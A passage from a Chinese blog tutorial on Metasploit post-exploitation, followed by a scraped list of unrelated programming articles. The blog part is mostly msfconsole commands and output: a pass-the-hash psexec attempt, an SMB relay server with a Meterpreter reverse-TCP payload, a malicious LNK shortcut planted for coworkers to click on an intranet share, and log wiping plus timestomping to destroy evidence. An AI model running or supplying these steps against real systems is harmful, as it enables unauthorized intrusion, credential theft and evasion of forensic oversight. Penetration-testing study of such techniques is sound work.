  17. [-] Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)  
  18. msf  exploit(psexec) >   

额，这是个失败的例子，但是如果有人登陆了这台机器，使用了它的SMB服务，而我们设置的SMBPass（这是在其它地方找到的hash）命中，就ok了。。
虽然是靠运气，但是，靠 hash传递（而不用crack），也是个好方法。。

4) MS10-046 + MS08-068 + 自己搭建SMB服务器 坐等鱼儿上钩


搭建SMB服务器：
[plain]  view plain copy
  1. msf  post(droplnk) > use exploit/windows/smb/smb_relay   
  2. msf  exploit(smb_relay) > show options  
  3.   
  4. Module options (exploit/windows/smb/smb_relay):  
  5.   
  6.    Name        Current Setting  Required  Description  
  7.    ----        ---------------  --------  -----------  
  8.    SMBHOST                      no        The target SMB server (leave empty for originating system)  
  9.    SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0  
  10.    SRVPORT     445              yes       The local port to listen on.  
  11.    SSL         false            no        Negotiate SSL for incoming connections  
  12.    SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)  
  13.    SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)  
  14.   
  15.   
  16. Exploit target:  
  17.   
  18.    Id  Name  
  19.    --  ----  
  20.    0   Automatic  
  21.   
  22.   
  23. msf  exploit(smb_relay) > set SRVHOST 192.168.0.108  
  24. SRVHOST => 192.168.0.108  
  25. msf  exploit(smb_relay) > set payload windows/meterpreter/reverse_tcp  
  26. payload => windows/meterpreter/reverse_tcp  
  27. msf  exploit(smb_relay) > set LHOST 192.168.0.108  
  28. LHOST => 192.168.0.108  
  29. msf  exploit(smb_relay) > exploit  
  30. [*] Exploit running as background job.  
  31.   
  32. [*] Started reverse handler on 192.168.0.108:4444   
  33. [*] Server started.  
  34. msf  exploit(smb_relay) >   


MS10-046 LNK快捷方式文件漏洞，貌似能提权
[plain]  view plain copy
  1. 存在于shell32.dll当中，windows的程序加载快捷方式的图标。当图标存在于用户的DLL中时，构造恶意的LNK文件指向这个DLL。。  
  2. 系统解析没做好参数验证，导致用户DLL被加载执行。。  

[plain]  view plain copy
  1. msf  exploit(psexec) > use post/windows/escalate/droplnk   
  2. msf  post(droplnk) > show options  
  3.   
  4. Module options (post/windows/escalate/droplnk):  
  5.   
  6.    Name          Current Setting  Required  Description  
  7.    ----          ---------------  --------  -----------  
  8.    ICONFILENAME  icon.png         yes       File name on LHOST's share  
  9.    LHOST                          yes       Host listening for incoming SMB/WebDAV traffic  
  10.    LNKFILENAME   Words.lnk        yes       Shortcut's filename  
  11.    SESSION                        yes       The session to run this module on.  
  12.    SHARENAME     share1           yes       Share name on LHOST  
  13.   
  14. msf  post(droplnk) > set LHOST 192.168.0.108  
  15. LHOST => 192.168.0.108  
  16. msf  post(droplnk) > set session 1  
  17. session => 1  
  18. msf  post(droplnk) > exploit  
  19.   
  20. [*] Creating evil LNK  
  21. [*] Done. Writing to disk - C:\WINDOWS\system32\Words.lnk  
  22. [*] Done. Wait for evil to happen..  
  23. [*] Post module execution completed  
  24. msf  post(droplnk) >   

过程：
[plain]  view plain copy
  1. 我们把这个C:\Windows\system32\Words.lnk文件复制到内网共享文件夹中。。坐等别人点击。。  
  2. 如果有人同事A点击了，这个lnk文件，就触发MS10-046漏洞。。那么A就访问我们搭建的恶意SMB服务器，这也就触发了MS08-068漏洞。。  
  3. 这两个漏洞合作，让人一看就挂。。  


拓展阅读：
[plain]  view plain copy
  1. NT LAN Manager早期SMB协议在网络上传输明文口令。后来出现 LAN Manager Challenge/Response 验证机制，简称LM，它是如此简单以至很容易就被破解。微软提出了WindowsNT挑战/响应验证机制，称之为NTLM。  
  2. MS08-068是SMB在处理NTLM的一个漏洞。当目标机访问攻击者的恶意SMB服务器时，攻击者延时发送SMB响应，提取目标机上的NTLM的HASH对目标机进行回重放，达到身份认证的目的。。  


9.毁灭证据


1) clearev

[plain]  view plain copy
  1. meterpreter > clearev  
  2. [*] Wiping 148 records from Application...  
  3. [*] Wiping 335 records from System...  
  4. [*] Wiping 0 records from Security...  
  5. meterpreter >   


2) timestomp

[plain]  view plain copy
  1. meterpreter > ls  
  2.   
  3. Listing: c:\  
  4. ============  
  5.   
  6. Mode              Size       Type  Last modified              Name  
  7. ----              ----       ----  -------------              ----  
  8. 100666/rw-rw-rw-  0          fil   2013-12-07 16:44:55 +0800  1.txt.txt  
  9. 100666/rw-rw-rw-  68         fil   2013-12-07 12:28:07 +0800  nimeia.txt  
  10.   
  11. meterpreter > timestomp 1.txt.txt -f nimeia.txt  
  12. [*] Setting MACE attributes on 1.txt.txt from nimeia.txt  
  13. meterpreter > ls  
  14.   
  15. Listing: c:\  
  16. ============  
  17.   
  18. Mode              Size       Type  Last modified              Name  
  19. ----              ----       ----  -------------              ----  
  20. 100666/rw-rw-rw-  0          fil   2013-12-07 12:28:07 +0800  1.txt.txt  
  21. 100666/rw-rw-rw-  68         fil   2013-12-07 12:28:07 +0800  nimeia.txt  
  22.   
  23. meterpreter >   

这样子，修改了文件的时间，也就不容易被人发觉。。






参考文献：《Metasploit渗透测试魔鬼训练营》 by 诸葛建伟

emaster，关注信息安全的胖子
欢迎转载，但请附上本文地址： http://blog.csdn.net/emaste_r/article/details/17119093

你可能感兴趣的:(初探Meterpreter-emaste_r)

  • Python实现简单的机器学习算法 master_chenchengg pythonpython办公效率python开发IT
    Python实现简单的机器学习算法开篇：初探机器学习的奇妙之旅搭建环境：一切从安装开始必备工具箱第一步：安装Anaconda和JupyterNotebook小贴士：如何配置Python环境变量算法初体验：从零开始的Python机器学习线性回归：让数据说话数据准备：从哪里找数据编码实战：Python实现线性回归模型评估：如何判断模型好坏逻辑回归：从分类开始理论入门：什么是逻辑回归代码实现：使用skl
  • C语言探索之旅 | 第一部分第五课：变量的世界（二），变量声明 哪有岁月静好
    上一课我们学习的是C语言探索之旅|第一部分第四课：变量的世界（一），内存那档事。相信我，上一课对于内存的初探绝对很有用。这一课我们一起来学习变量的声明。简单地说，变量就是暂时储存在内存中的一小段信息。为什么叫做变量呢？变量的英语是variable，做形容词用的话是“可变的，易变的”之意，所以变量就是在程序运行期间其值可以改变的量。你将会看到，我们写的程序，常常是充满变量的。在C语言中（大多数语言也
  • 初探ThreadLocal 祥哲 java多线程内存泄漏
    一、ThreadLocal是干什么的ThreadLocal是用来在多线程时存储线程内部的局部变量，各个线程之间的变量是独立的不会相互影响。(个人理解为以当前线程为key，以变量为value存储变量)二、基本使用空参构造，创建ThreadLocal对象。publicvoidset(Tvalue)设置当前线程绑定的局部变量publicTget()获取当前线程绑定的局部变量publicvoidremov
  • 数字时代基础教育教师培训供给侧改革初探 紫竹_sharon
    本文由《中国远程教育》授权发布作者：任友群冯晓英何春摘要全球竞争加剧、新一代信息技术革命叠加新冠肺炎疫情影响的新背景、新形势，共同对基础教育教师培训工作提出了新要求。新时期教师培训面临着培训资源供给、流程模式、培训管理与治理等方面的挑战，反映出传统教师培训服务供给与新时代教师个性化需求之间的结构性失衡。破解这一矛盾的思路之一是实现大数据支持下的教师培训循证决策，从资源供给、培训服务、队伍治理三个层
  • 2024年最新iOS 语言基础&；初探 Xcode 工具_xcode 入门(1)，BAT这种大厂履历意味着什么 2401_84830208 程序员go学习面试
    既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，涵盖了95%以上Go语言开发知识点，真正体系化！由于文件比较多，这里只是将部分目录截图出来，全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频，并且后续会持续更新如果你需要这些资料，可以戳这里获取Xcode工程体系Xcode工具简介首先我会介绍主要的开发工具Xcode以及它的工程体系。接着是介绍obj
  • ASP.NET Core 微服务初探[1]：服务发现之Consul weixin_34015336 运维ui数据结构与算法
    在传统单体架构中，由于应用动态性不强，不会频繁的更新和发布，也不会进行自动伸缩，我们通常将所有的服务地址都直接写在项目的配置文件中，发生变化时，手动改一下配置文件，也不会觉得有什么问题。但是在微服务模式下，服务会更细的拆分解耦，微服务会被频繁的更新和发布，根据负载情况进行动态伸缩，以及受资源调度影响而从一台服务器迁移到另一台服务器等等。总而言之，在微服务架构中，微服务实例的网络位置变化是一种常态，
  • 使用Vue组件的watch监听-简单计算器 编程初学者01 vue.jsvue.js前端javascript前端框架
    Vue组件的初探一、浅析这里做了一个全局的组件vue.component('mycomp',{})在中写组件，将id=comp1script中直接template:"#copm1"其他的部分就是之前所讲的watch来实现简易计算器差不多组件watch监听-计算(CQNU-ZJW)+=varcom=Vue.component('mycomp',{template:"#comp1",data(){re
  • 数据结构入门（5）——树与二叉树的应用 Dusk Cteator 高级语言程序设计数据结构笔记数据结构算法霍夫曼树二叉树c++
    数据结构入门——树与二叉树的应用文章目录数据结构入门——树与二叉树的应用前言一、压缩与哈夫曼树扩充二叉树哈夫曼算法哈夫曼算法基本思想哈夫曼算法哈夫曼编码二、表达式树如何构造表达式二叉树计算表达式二叉树对应的值三、并查集并查集的实现四、初探线段树与树状数组线段树线段树操作树状数组定义操作树状数组和线段树前言本系列文章将简要介绍数据结构课程入门知识，文章将结合我们学校（吉大）数据结构课程内容进行讲述。
  • 物联网平台开发核心技术揭秘-架构设计篇 架构师修炼 物联网平台开发实战网络物联网人工智能javapython
    一书，力推！引言上一篇物联网平台开发实战-初探从宏观层面了解了物联网平台相关内容。随着物联网的快速发展和普及，越来越多的企业和机构开始构建自己的物联网平台。物联网平台是连接大量设备和系统的中心枢纽，通过数据传输和处理，实现设备之间的互联和智能控制。这一篇将讨论物联网平台架构设计，主要从物联网平台的概述、架构设计原则、要素以及设备层、数据处理层讨论。一、物联网平台概述物联网平台是实现物联网的核心组成
  • 打造一流的研发型企业--- 金发科技研发驱动力初探 weixin_51494929 科技大数据
    2006年3月29日，国家发改委副主任欧新黔亲自为金发科技颁发了“中国改性塑料行业第一位”、“中国合成材料制造业十强”、“中国石油化工全行业百强”三块铜牌证书，金发科技终于成为名符其实的行业“老大”。公司产品销售额增长迅速，2006年完成销售额达54亿元人民币（含税），2010年，争取使公司的市场占有率达到15—20%,销售额预计可达100亿—150亿元人民币。目前金发科技遥遥领先于国内同行，据金
  • 143自然语言处理进阶手册--人工神经网络初探 Jachin111
    人工神经网络初探神经网络与人类大脑人类虽然拥有智慧，但对智慧是如何产生的却不得而知，对于大脑结构的模仿或许是一个探索的起点，神经网络的起点就在这里。准确地说，这里所述的神经网络其实是人工神经网络，仅仅是模仿了人脑神经网络的部分结构特征与机理。在本小节，我们来对神经网络与人类大脑来作一番对比，比较两者的不同与联系。人类神经系统的基本单元是神经元，约有1000亿个，是一种高度分化的细胞。神经元能够接受
  • 初探UML(User-Mode-Linux) stxinu UbuntuLinuxkernelumllinux运维ubuntukernel
    由标题我们已经知道这里要说的UML不是“统一建模语言”，而是“用户模式的Linux”，使用它有什么好处呢？让我们先保留点神秘感，一步一步学习，通过实践来感悟它的魅力。实验环境：电脑一台（装有Ubuntu13.10系统，Kernel版本为3.11.0-12-generic，64位）下面将通过UML环境的搭建、GDB调试、网络测试这3个方面来了解下UML：一.搭建UML实验环境1.下载LinuxKer
  • 【k8s系列】驾驭容器化未来：Kubernetes Pod的全面解析与简单实践 深情不及里子 kubernetes容器云原生
    一、前言在当今快速发展的云计算和容器化技术领域，Kubernetes已经崭露头角，成为自动化容器操作的开源平台。在这个生态系统中，Pod作为Kubernetes的最小和最简单的单元，扮演着至关重要的角色。Pod不仅是容器的集合，更是资源共享和协同工作的基础。作为初探容器化技术的爱好者，笔者也是在k8s学习过程中根据自己的理解分享一下这块的具体内容，希望对感兴趣的小伙伴有所帮助~二、Pod的基本概念
  • 初探Mpvue的组件、样式机制 weixin_33912246 javascript前端ViewUI
    序言实现了一个简单的demo之后呢，Eknow君这一节会通过小程序API来实现几个小功能。主要从mpvue的组件、语法以及小程序的相关API完善。mpvue的组件上一节，我们可以了解到mpvue基本支持vue组件的所有特性，不遵守这些特性并不会错误，我们只是了能够开发良好的代码，编写高质量的代码可以说是程序员的一道分水岭吧。回到正题哈，mpvue在很大程度上都支持vue组件与小程序的原生组件的,但
  • 【菜狗学前端】 初探TS（结合在vue3中的使用） 佛系菜狗 前端前端typescriptvuevue.jsjavascript
    TypeScript是拥有类型的JavaScript超集，它可以编译成普通、干净、完整的JavaScript代码。我们可以将TypeScript理解成加强版的JavaScript。简单来说:Ts是带类型语法的Js;Ts是Js的超集TS官方网站：https://www.typescriptlang.org/TS中文官网：https://www.tslang.cn/一、基础语法js已有类型：基本类型:
  • 计算机专业的就业现状论文,计算机专业就业困境初探论文 Rayzmoon 计算机专业的就业现状论文
    当前我国大学毕业生就业形势日趋严峻,大学毕业生就业难的原因是多方面的。以下是学习啦小编为大家精心准备的：计算机专业就业困境初探相关论文。内容仅供参考，欢迎阅读!计算机专业就业困境初探全文如下：摘要：随着信息产业技术的飞速发展，计算机成了国民经济发展的重要支柱。但是，计算机专业的毕业生却面临着就业难的问题。因此，学校要转变观念，调整教学计划，改革课程设置，建立校企合作、“订单式”的人才培养模式，适应
  • Simple RPC - 05 从零开始设计一个客户端（下）_ 依赖倒置和SPI 小小工匠 【SimpleRPC】rpc网络协议网络
    文章目录Pre概述依赖倒置原则与解耦设计与实现1.定义接口来隔离调用方与实现类2.实现类`DynamicStubFactory`3.调用方与实现类的解耦依赖注入与SPI的解耦依赖注入SPI（ServiceProviderInterface）总结PreSimpleRPC-01框架原理及总体架构初探SimpleRPC-02通用高性能序列化和反序列化设计与实现SimpleRPC-03借助Netty实现异
  • 从图像到视频：Web Codecs API编码技术解析 我码玄黄 前端教你一招思维的火花音视频前端JavaScript
    初探WebCodecsAPI三前言在之前的文章中，咱们简单的介绍了解码相关的东西，这一节咱们来简单聊聊编码相关的东西。编码的目的就是为了压缩，去除空间、时间维度的冗余。这里又不得不提起前面所说的I帧、P帧、B帧和IDR帧。众所周知，视频是连续的图像序列，由连续的帧构成，一帧就是一幅图像。直接存储图片需要占用大量的存储空间，而且传输也不方便。为了解决这个问题，于是视频编码出现了，它的作用就是将一张一
  • C/C++生态工具链——编译构建工具CMake/CMakeList初探 程序员与背包客_CoderZ C/C++开发基础c++开发语言linuxc语言
    一，CMake简介CMake的全称是Cross-platformMake。我第一次参与LinuxC++开发时使用的工具是Make，而后开始切换到CMake，一开始以为CMake是和C语言有关，原来开头的C表示它可以跨平台。CMake的使用场景：跨平台编译运行，交叉编译。一般基于CMakeLists.txt文件定义的编译构建规则来生成目标文件和目标库。CMakeLists.txt样例如下：#cmak
  • 初探SwiftUI打通任督二脉
    序言开年的第一篇文章，今天分享的是SwiftUI，SwiftUI出来好几年，之前一直没学习，所以现在才开始；如果大家还留在iOS开发，这们语言也是一个趋势；目前待业中....不得不说已逝的2023年，大家开始都抱着一解封，经济都会向上转好，可是现实不是我们想象那样；目前我也在学习SwiftUI，并且努力找工作中....；至于2024年经济如何，咱们作为老百姓在大环境和全球经济影响下；坦然面对，提升
  • TypeScript中的接口 前端小菜凯 typescriptjavascript前端
    一、接口（interface）定义：接口是对象的状态(属性)和行为(方法)的抽象(描述)TypeScript的核心原则之一是对值所具有的结构进行类型检查。我们使用接口（Interfaces）来定义对象的类型。二、接口初探需求:创建人的对象,需要对人的属性进行一定的约束（多了或者少了属性是不允许的）id是number类型,必须有,只读的name是string类型,必须有age是number类型,必须
  • pywebview初探 weixin_30467087
      最近看python123的GUI项目推荐的时候，看到这个项目pywebview。pywebview是一个轻量级的跨平台包装器，允许在自己的原生GUI窗口中展示HTML内容。它使得你能在桌面应用程序中使用web技术，隐藏了GUI是基于浏览器的事实。你可以在Flask或Bottle这样的轻量级web框架中使用pywebview，也可以在Python和DOM之间单独使用。  可以看出pywebvie
  • python：tkinter + webview2 初探 belldeep pythonpythontkinterwebviewreadmdict
    python：tkinter+pywebview初探，简单应用，不是纯粹的webview应用。pipinstallreadmdictpipinstallpywebviewpipinstalltkwebview2安装MDict去MDict|Oneappforalldictionaries下载示例程序tk_mdx_webview2.py如下#-*-coding:utf-8-*-importosimpo
  • 学术前沿丨小学古典诗歌文本细读路径初探——以统编版《惠崇春江晚景》为例 难得清明
    李耀伟语文建设杂志2023-04-1315:47发表于北京（本文约4687字，阅读大约需要14分钟）【摘要】苏轼的题画诗《惠崇春江晚景》字词精练、意涵丰富，多次入选历代诗歌选本及各版本小学语文教材。学习小学语文经典文本，应当从文本细读视角出发，综合运用词句推敲、联想想象、心理揣摩、背景还原、移情体验等方法，仔细体悟文本的语词、意脉、美感、情志等，积极探寻经典文本阅读的多元化路径。【关键词】统编教材
  • 深入浅出 spring-data-elasticsearch 之 ElasticSearch 架构初探（一） Julian Wong springelasticsearch架构java后端
    本文目录一、Elasticsearch基本术语1.1文档(Document)、索引(Index)、类型(Type)文档三要素1.2集群(Cluster)、节点(Node)、分片(Shard)分布式三要素二、Elasticsearch工作原理2.1文档存储的路由2.2如何健康检查2.3如何水平扩容三、小结欢迎来SpringForAll,和我探讨Spring相关的分享。http://spring4al
  • 嵌入式Qt Qt中的信号处理 嵌入式_笔记 Qtqt信号处理开发语言
    一.Qt中的信号处理Qt消息模型：-Qt封装了具体操作系统的消息机制-Qt遵循经典的GUI消息驱动事件模型Qt中定义了与系统消息相关的概念;Qt中的消息处理机制：Qt的核心QObject::cinnect函数：Qt中的“新”关键字：实验1初探信号与槽#include#includeintmain(intargc,char*argv[]){QApplicationa(argc,argv);//应用程
  • 下一代Edge AI的应用初探 胖头鱼不吃鱼- edge人工智能前端
    如您所见，AI已不再只是科幻电影的经典主题，它正在以惊人的速度被应用到我们日常生活中的方方面面，并从个人关系到工作项目上，逐渐改变着我们的想法或行为。其中，一个最为典型的领域当属NextGENEdgeAI（下一代边缘人工智能）应用。它能够通过诸如：排名、分类、以及设计等多种应用模式，提供身临其境、直观且有趣的使用体验，而且能够节省时间和资金。什么是NextGENEdgeAI?NextGENEdge
  • 资料 8点起床
    来源：72-go天才小组-%:Task01:Go初探（1天）Go社区（待补充）go语言学习交流论坛https://gocn.vip/go语言中文网，studygolang.com，分享Go语言知识，聚合各种golang文章和书籍资料；go官方讨论组，forum/golang-nuts，golang的官方邮件讨论组；博客（待补充）https://blog.golang.org官方博客https://
  • 【C++】32 初探C++标准库 operator 关键字 C语言兼容库 cout cin c++
    例：#include"stdio.h"classconsole{public:voidoperator#include#include#includeusingnamespacestd;intmain(){printf("Helloworld!\n");char*p=(char*)malloc(16);strcpy(p,"D.T.Software");printf("%s\n",p);double
  • SAP MM 特殊库存之T库存初探 coipq4549972
    SAPMM特殊库存之T库存初探笔者所在的A项目里，销售业务广泛启用了POD功能。VL02N对交货单做了发货过账后物权并没有转移，而是将自有E库存转为一个叫做在途库存的特殊库存里。等到货物到了客户那里，客户确认实际收货数量后，才去系统上执行VLPOD事务，过账后，物权才会转移到客户方那里。笔者之前所做过的项目里，SD模块的POD功能很少启用。所以笔者比较少去关注这个功能，也基本很少去关注因这个功能启
  • 基本数据类型和引用类型的初始值 3213213333332132 java基础
    package com.array; /** * @Description 测试初始值 * @author FuJianyong * 2015-1-22上午10:31:53 */ public class ArrayTest { ArrayTest at; String str; byte bt; short s; int i; long
  • 摘抄笔记--《编写高质量代码：改善Java程序的151个建议》 白糖_ 高质量代码
            记得3年前刚到公司，同桌同事见我无事可做就借我看《编写高质量代码：改善Java程序的151个建议》这本书，当时看了几页没上心就没研究了。到上个月在公司偶然看到，于是乎又找来看看，我的天，真是非常多的干货，对于我这种静不下心的人真是帮助莫大呀。           看完整本书，也记了不少笔记
  • 【备忘】Django 常用命令及最佳实践 dongwei_6688 django
    注意：本文基于 Django 1.8.2 版本   生成数据库迁移脚本（python 脚本） python manage.py makemigrations polls  说明：polls 是你的应用名字，运行该命令时需要根据你的应用名字进行调整   查看该次迁移需要执行的 SQL 语句（只查看语句，并不应用到数据库上）： python manage.p
  • 阶乘算法之一N! 末尾有多少个零 周凡杨 java算法阶乘面试效率
                                     &n
  • spring注入servlet g21121 Spring注入
    传统的配置方法是无法将bean或属性直接注入到servlet中的，配置代理servlet亦比较麻烦，这里其实有比较简单的方法，其实就是在servlet的init()方法中加入要注入的内容： ServletContext application = getServletContext(); WebApplicationContext wac = WebApplicationContextUtil
  • Jenkins 命令行操作说明文档 510888780 centos
    假设Jenkins的URL为http://22.11.140.38:9080/jenkins/ 基本的格式为 java 基本的格式为 java -jar jenkins-cli.jar [-s JENKINS_URL] command [options][args] 下面具体介绍各个命令的作用及基本使用方法 1. &nb
  • UnicodeBlock检测中文用法 布衣凌宇 UnicodeBlock
    /**  * 判断输入的是汉字  */ public static boolean isChinese(char c) {        Character.UnicodeBlock ub = Character.UnicodeBlock.of(c);    
  • java下实现调用oracle的存储过程和函数 aijuans javaorale
    1.创建表：STOCK_PRICES     2.插入测试数据：     3.建立一个返回游标：  PKG_PUB_UTILS   4.创建和存储过程：P_GET_PRICE     5.创建函数：   6.JAVA调用存储过程返回结果集 JDBCoracle10G_INVO
  • Velocity Toolbox antlove 模板toolboxvelocity
    velocity.VelocityUtil package velocity; import org.apache.velocity.Template; import org.apache.velocity.app.Velocity; import org.apache.velocity.app.VelocityEngine; import org.apache.velocity.c
  • JAVA正则表达式匹配基础 百合不是茶 java正则表达式的匹配
      正则表达式;提高程序的性能,简化代码,提高代码的可读性,简化对字符串的操作   正则表达式的用途; 字符串的匹配 字符串的分割 字符串的查找 字符串的替换       正则表达式的验证语法     [a] //[]表示这个字符只出现一次 ,[a] 表示a只出现一
  • 是否使用EL表达式的配置 bijian1013 jspweb.xmlELEasyTemplate
            今天在开发过程中发现一个细节问题，由于前端采用EasyTemplate模板方法实现数据展示，但老是不能正常显示出来。后来发现竟是EL将我的EasyTemplate的${...}解释执行了，导致我的模板不能正常展示后台数据。         网
  • 精通Oracle10编程SQL(1-3)PLSQL基础 bijian1013 oracle数据库plsql
    --只包含执行部分的PL/SQL块 --set serveroutput off begin dbms_output.put_line('Hello,everyone!'); end; select * from emp; --包含定义部分和执行部分的PL/SQL块 declare v_ename varchar2(5); begin select
  • 【Nginx三】Nginx作为反向代理服务器 bit1129 nginx
    Nginx一个常用的功能是作为代理服务器。代理服务器通常完成如下的功能：   接受客户端请求 将请求转发给被代理的服务器 从被代理的服务器获得响应结果 把响应结果返回给客户端 实例 本文把Nginx配置成一个简单的代理服务器 对于静态的html和图片，直接从Nginx获取 对于动态的页面，例如JSP或者Servlet，Nginx则将请求转发给Res
  • Plugin execution not covered by lifecycle configuration: org.apache.maven.plugin blackproof maven报错
    转：http://stackoverflow.com/questions/6352208/how-to-solve-plugin-execution-not-covered-by-lifecycle-configuration-for-sprin   maven报错： Plugin execution not covered by lifecycle configuration:
  • 发布docker程序到marathon ronin47 docker 发布应用
    1 发布docker程序到marathon 1.1 搭建私有docker registry 1.1.1 安装docker regisry docker pull docker-registry docker run -t -p 5000:5000 docker-registry 下载docker镜像并发布到私有registry docker pull consol/tomcat-8.0
  • java-57-用两个栈实现队列&&用两个队列实现一个栈 bylijinnan java
    import java.util.ArrayList; import java.util.List; import java.util.Stack; /* * Q 57 用两个栈实现队列 */ public class QueueImplementByTwoStacks { private Stack<Integer> stack1; pr
  • Nginx配置性能优化 cfyme nginx
    转载地址：http://blog.csdn.net/xifeijian/article/details/20956605   大多数的Nginx安装指南告诉你如下基础知识——通过apt-get安装，修改这里或那里的几行配置，好了，你已经有了一个Web服务器了。而且，在大多数情况下，一个常规安装的nginx对你的网站来说已经能很好地工作了。然而，如果你真的想挤压出Nginx的性能，你必
  • [JAVA图形图像]JAVA体系需要稳扎稳打,逐步推进图像图形处理技术 comsci java
         对图形图像进行精确处理，需要大量的数学工具，即使是从底层硬件模拟层开始设计，也离不开大量的数学工具包，因为我认为，JAVA语言体系在图形图像处理模块上面的研发工作，需要从开发一些基础的，类似实时数学函数构造器和解析器的软件包入手，而不是急于利用第三方代码工具来实现一个不严格的图形图像处理软件......   &nb
  • MonkeyRunner的使用 dai_lm androidMonkeyRunner
    要使用MonkeyRunner，就要学习使用Python，哎 先抄一段官方doc里的代码 作用是启动一个程序（应该是启动程序默认的Activity），然后按MENU键，并截屏 # Imports the monkeyrunner modules used by this program from com.android.monkeyrunner import MonkeyRun
  • Hadoop-- 海量文件的分布式计算处理方案 datamachine mapreducehadoop分布式计算
    csdn的一个关于hadoop的分布式处理方案，存档。 原帖：http://blog.csdn.net/calvinxiu/article/details/1506112。     Hadoop 是Google MapReduce的一个Java实现。MapReduce是一种简化的分布式编程模式，让程序自动分布到一个由普通机器组成的超大集群上并发执行。就如同ja
  • 以資料庫驗證登入 dcj3sjt126com yii
    以資料庫驗證登入 由於 Yii 內定的原始框架程式, 採用綁定在UserIdentity.php 的 demo 與 admin 帳號密碼:    public function authenticate()    {        $users=array( &nbs
  • github做webhooks：[2]php版本自动触发更新 dcj3sjt126com githubgitwebhooks
    上次已经说过了如何在github控制面板做查看url的返回信息了。这次就到了直接贴钩子代码的时候了。 工具/原料 git github 方法/步骤   在github的setting里面的webhooks里把我们的url地址填进去。   钩子更新的代码如下： error_reportin
  • Eos开发常用表达式 蕃薯耀 Eos开发Eos入门Eos开发常用表达式
    Eos开发常用表达式 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> 蕃薯耀 2014年8月18日 15:03:35 星期一     &
  • SpringSecurity3.X--SpEL 表达式 hanqunfeng SpringSecurity
    使用 Spring 表达式语言配置访问控制，要实现这一功能的直接方式是在<http>配置元素上添加 use-expressions 属性：   <http auto-config="true" use-expressions="true"> 这样就会在投票器中自动增加一个投票器：org.springframework
  • Redis vs Memcache IXHONG redis
    1. Redis中，并不是所有的数据都一直存储在内存中的，这是和Memcached相比一个最大的区别。 2. Redis不仅仅支持简单的k/v类型的数据，同时还提供list，set，hash等数据结构的存储。 3. Redis支持数据的备份，即master-slave模式的数据备份。 4. Redis支持数据的持久化，可以将内存中的数据保持在磁盘中，重启的时候可以再次加载进行使用。 Red
  • Python - 装饰器使用过程中的误区解读 kvhur JavaScriptjqueryhtml5css
    大家都知道装饰器是一个很著名的设计模式，经常被用于AOP(面向切面编程)的场景，较为经典的有插入日志，性能测试，事务处理，Web权限校验， Cache等。 原文链接：http://www.gbtags.com/gb/share/5563.htm Python语言本身提供了装饰器语法（@），典型的装饰器实现如下：   @function_wrapper de
  • 架构师之mybatis-----update 带case when 针对多种情况更新 nannan408 case when
    1.前言.    如题. 2. 代码.   <update id="batchUpdate" parameterType="java.util.List"> <foreach collection="list" item="list" index=&
  • Algorithm算法视频教程 栏目记者 Algorithm算法
    课程：Algorithm算法视频教程 百度网盘下载地址： http://pan.baidu.com/s/1qWFjjQW 密码: 2mji 程序写的好不好,还得看算法屌不屌！Algorithm算法博大精深。 一、课程内容： 课时1、算法的基本概念 + Sequential search 课时2、Binary search 课时3、Hash table 课时4、Algor
  • C语言算法之冒泡排序 qiufeihu c算法
    任意输入10个数字由小到大进行排序。 代码： #include <stdio.h> int main() { int i,j,t,a[11]; /*定义变量及数组为基本类型*/ for(i = 1;i < 11;i++){ scanf("%d",&a[i]); /*从键盘中输入10个数*/ } for
  • JSP异常处理 wyzuomumu Webjsp
    1.在可能发生异常的网页中通过指令将HTTP请求转发给另一个专门处理异常的网页中: <%@ page errorPage="errors.jsp"%>   2.在处理异常的网页中做如下声明： errors.jsp: <%@ page isErrorPage="true"%>，这样设置完后就可以在网页中直接访问exc
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他